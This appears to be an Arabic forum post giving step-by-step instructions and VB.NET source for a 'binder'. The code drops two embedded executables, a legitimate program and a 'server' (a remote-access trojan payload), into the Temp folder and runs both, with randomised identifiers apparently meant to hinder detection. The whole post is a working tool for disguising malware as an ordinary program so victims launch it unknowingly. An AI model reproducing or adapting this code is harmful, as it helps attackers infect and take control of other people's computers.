كود دمج سيرفر ببرنامج باحترافية

/تعمل مشروع جديد بالفيزيال دوت نت
/تحذف الفورم
/تضيف موديول جديد
/اعمل لصق للكود
/اكمل الكود بالتسميات الحقيقية لبرامجك(السرفر+ البرنامج)
/اعمل ريسورس



----------------------------------
Module cvwDMthYnmh
Sub main()
 Dim elzudsXsrQp As String = My.Computer.FileSystem.SpecialDirectories.Temp
Dim xGnYqyQFwBE As String = elzudsXsrQp + "اسم البرنامج.exe"
 IO.File.WriteAllBytes(xGnYqyQFwBE, My.Resources.اسم البرنامج)
Process.Start(xGnYqyQFwBE)
 Dim WYVsqQFIsSa As String = My.Computer.FileSystem.SpecialDirectories.Temp
 Dim oYjsoARqqec As String = WYVsqQFIsSa + "اسم السيرفر.exe"
 IO.File.WriteAllBytes(oYjsoARqqec, My.Resources.اسم السيرفر)
Process.Start(oYjsoARqqec)
End Sub
End Module